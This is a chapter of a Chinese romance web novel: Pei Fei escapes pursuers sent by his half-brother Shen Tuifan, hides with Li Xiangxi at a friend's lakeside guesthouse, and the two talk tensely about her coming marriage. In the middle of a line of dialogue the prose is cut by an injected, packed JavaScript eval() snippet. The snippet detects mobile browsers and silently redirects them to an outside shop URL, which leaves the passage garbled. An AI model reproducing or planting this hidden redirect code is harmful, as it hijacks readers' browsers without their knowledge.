深夜的京北街头,雨雾弥漫,街道是光滑一片,路上还有许多错综的车辆,布加迪就在里面快速穿梭着,后方还有几辆黑色的轿车紧紧跟随。 裴非和许子炀通完电话,又全身心投入到车子的操作上,留意着后车的情况。 “害怕吗?”他抽空看了一眼副驾驶。 女生卷翘的睫毛忽闪忽闪,神情紧绷等着前方的道路。 这件事是冲着他来了,本来跟她没关系。 今晚路面又滑,车子随时可能失控。 黎向浠却摇了摇头。 “不怕,你开车很稳。”她说。 她确实不害怕,她神情紧绷,是因为后车,到底是多大的仇恨,会用这种近乎死亡的速度来追赶。 “他们是谁啊?”黎向浠问。 裴非攥紧方向盘,余光扫了她一眼,清了清喉咙说:“沈推凡。” 黎向浠思绪顿时炸开。 裴非和沈推凡不是同父异母的兄弟吗? 就算他们再有什么仇恨,也不能置于死地吧?况且裴非已经隐姓埋名,相当于不存在了,对沈推凡能有什么威胁? 黎向浠不敢再问下去。 因为她和沈推凡的关系。 这个婚她必须得结,但她也不想伤害裴非。 所以她选择闭嘴。 车子从市中心逃亡向无人的郊区,后方的车子甩了一辆又出现新的一辆,似乎无穷无尽那样。 黎向浠第一次切身体会到沈家的实力。 他们这么大动静,不害怕别人知道吗? 或者说,相对于这个,裴非才是个更大的麻烦? 他们开往了盘山公路,跑车的轰鸣声在山谷回荡,黎向浠这才发现,他们已经在这里转了两轮了。 后方的车子慢慢被裴非甩远,直到他们转了五轮,那些车子似乎看不到布加迪车尾灯,裴非才从另一条路,逃离这段弯弯绕绕的盘山公路,开往平坦的郊区大道,往更远的郊区开去。 黎向浠知道,按照裴非的专业操作,越是弯弯绕绕,越是占据优势,所以他选在那里周旋,为的就是拉开距离。 这会儿,过了一个多小时,布加迪开进郊区湖边,无人处的一栋小民宿前。 “走,下车。”刚停稳,裴非立刻脱下安全带。 黎向浠手忙脚乱跟上。 裴非拉着她往门口走,门打开,许子炀从里面出来,裴非将车钥匙扔给他,两个人一句对话都没有,裴非便带着黎向浠走进未开灯的民宿内,躲在门后面。 他们并肩靠着,裴非抓得紧,黎向浠还没有反应过来,就听到外面好几辆车子开进来。 “搞什么?追了我一路了!真不怕我撞死啊?”许子炀有些生气。 黎向浠还是第一次听到他怒气说话,很凶,很不屑。 她从门缝看过去。 一个陌生男人的声音传来,“刚刚这是您在开这辆车?” “不是我还是你啊?”许子炀用钥匙按了一下,锁掉车门。 “真行,我借裴非一辆车开,差点给我干没命,这件事儿,你们沈总怎么说?” 几个黑西装面面相觑,“许少爷,您这民宿?” “干什么?要进去坐坐?来来来,都一起来,明天跟我一起去沈推凡那边报销。” 许子炀摆手,一边往门口走来一边招呼他们。 黑西装见状,互相看了几眼。 好像是听到耳机里的人下了命令,这才道歉,陆续离开。 裴非肩膀松弛下来,匆匆松开她,说了一句,“抱歉。” 许子炀走进来,开灯。 民宿前台后方是一整面墙的酒,许子炀走进去拿来三个玻璃杯,给黎向浠倒的是气泡水,他们喝洋酒。 “就这样骗过他们了吗?”黎向浠问。 许子炀和裴非对视一眼,似乎是得到裴非眼里的许可,许子炀解释说:“哪是你看见的那么简单。” “我在来之前已经联系了裴非以前的车队,有他们打掩护,说裴非还在车队训练呢,沈推凡这才相信。” 许子炀说到这儿也就停了,毕竟他还不知道黎向浠跟裴非的具体关系,不能过多暴露裴非的个人信息。 许子炀扔了一句你们俩自己在这里玩吧,把他的车钥匙给了裴非,开着布加迪离开了。 民宿是纯木制成的,还很新,环境安逸干净。 裴非坐在吧台处,慢慢喝着没有加冰的洋酒。 黎向浠手机响起,来电显示:沈推凡。 她看了一眼裴非,裴非只是瞥一眼过来,轻哼一声,转走脸。 “喂。”黎向浠接听。 对面,沈推凡声音沉稳,“突然想起,我们许久没有通话了,你吃过了吗?” “吃过了。”黎向浠突然对沈推凡失去耐心,知道他的来意,她很想让他开门见山地问。 但不行,她还得装作不知道。 “我跟朋友在外面吃的。”黎向浠补充。 沈推凡:“好,下次可以带你朋友去我们的餐厅吃,对了,今天有没有谁去过院子里?或者有没有别人去过老宅?” 黎向浠摇头,“没有,我今天出门早,现在还在外面,今晚跟朋友约了,去她家里住,所以不知道有没有人去过。” 或许是声音太平静,又或许是她跟裴非实在是八竿子打不着的关系,沈推凡并没有怀疑她,只是寒暄几句好好吃饭,有事直接找管家,挂了电话。 民宿安静下来,裴非一口将杯中酒饮尽,然后带着她上了二楼。 一切尽在不言中,黎向浠也不知道要怎么和他沟通这件事。 似乎他们的身份就是对立,不应该出现在同一个空间里。 民宿的房间很宽敞,白色的床单,淡黄色木质的家具,还有白色的棉拖鞋,暖气一开,跟在自己家里一样。 桌子上还有护肤品和卸妆用品,黎向浠换下衣服走进浴室,热水从头淋到脚,瞬间赶跑了困意,似乎每一次洗澡出来,都得精神一会儿。 她披上浴袍,坐在桌子旁边,阳台玻璃上反光,投出一个模糊高大的人影。 黎向浠披上外套走出去。 两个阳台并不相通,中间有一块是悬空的,裴非一只手撑在栏杆上,一只手指腹夹烟,淡青色的雾从他嘴角吐出,隐匿在灰蒙蒙的细雨里。 薄长的眼睛里,有无法言喻的,深不见底的情绪。 风很轻,又很冷,潮湿的,吹进脖颈,黎向浠不免打了个寒颤。 这一下,似乎惊扰了裴非的思绪,他偏头看过来。 “很冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128877|146076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怎么出来了。”他看向她的脚踝。 没了靴子,衣服不够长,纤细白皙的脚踝暴露在寒夜里,冷得有些可怜。 黎向浠却丝毫未察觉。 “裴非。”她内疚喊他。 “嗯。”裴非回。 “对不起。” …… 裴非并没有回答,而是有些好笑地哼唧一声。 民宿在湖的附近,有河流淌过的声音,轻轻的,但听上去不美好,搭配鸟儿的鸣叫,有些孤寂凄凉。 裴非轻轻掸了一下烟灰,问:“你用什么立场跟我说对不起?” 黎向浠噎住了。 对啊,难道要用他嫂子的身份吗? 可她现在还不是。 或者说,就算以后结婚了,她其实也不是,按照裴非和沈推凡见面的频率,那个时候,她应该见不到裴非了。 “裴非。”黎向浠拔高音量喊他,似乎刚刚失落的另有其人那样。 裴非有些好奇看过来。 “你有没有想过,去正常地生活。” 裴非拧眉。 “其实我知道你的身世了,你跟我一样,我们从某种意义上来说,是见不得人的,但这不是我们的错,我们也有好好活下去的权利。” 黎向浠觉得自己这番演讲很深入骨髓。 毕竟裴非孤身一人,只要他想,就能反抗。 “你有吗?”裴非却只是淡淡然反驳,“结婚算不算好好生活?你有吗?” 黎向浠又一次语塞了。 裴非:“现在让你不跟沈推凡结婚,你做得到吗?” 裴非这句话里,带了一丝期许,他很少对别人抱有期待,小时候频频落空的经验告诉他,对别人抱有期待是很蠢的事情。 但他刚刚那句话,确实克制不住地期待她点头。 但黎向浠去没有正面回答,“不能这样算,我是有苦衷的。” 如果不结婚,黎蔓怎么办? 按理来说,她是自愿跳进来的,当然和裴非不一样。 如果没有黎蔓这件事,她也可以拍拍屁股走人的。 裴非只是轻笑。 黎向浠没敢再问了,她发现自己把问题想得太简单了。 躺在床上的时候,黎向浠才幡然醒悟,这里面不但有裴非亲生父亲这一家,还有裴非的亲生母亲。 倪婷说过,裴非的妈妈好像是个很厉害的人物,所以他不能曝光。 姓裴的,在京北的,黎向浠想了很久没有得出结论。 不知道是她了解少了,还是事实如此,京北真就没有哪一个姓裴又没人敢惹的家族。 第二天,黎向浠醒来,楼下传来许子炀大大咧咧的声音,“浠浠宝贝呢?还没起床吗?” 黎向浠揉了揉眼睛,看一眼床头柜的闹钟。 已经上午十点了。 昨晚想太多失眠,早上天蒙蒙亮才入睡,在梦里还经历一遍被各种车子追赶的场景。 她掀起被子,穿上拖鞋,洗漱好准备下楼,又听见许子炀的声音:“你们昨天分开睡的?不是,你们不是已经睡过了吗?昨晚那么好的时机,居然没有干柴烈火?” 黎向浠心一惊,有些错愕,裴非怎么能和许子炀说这些?连他们做了也要说? -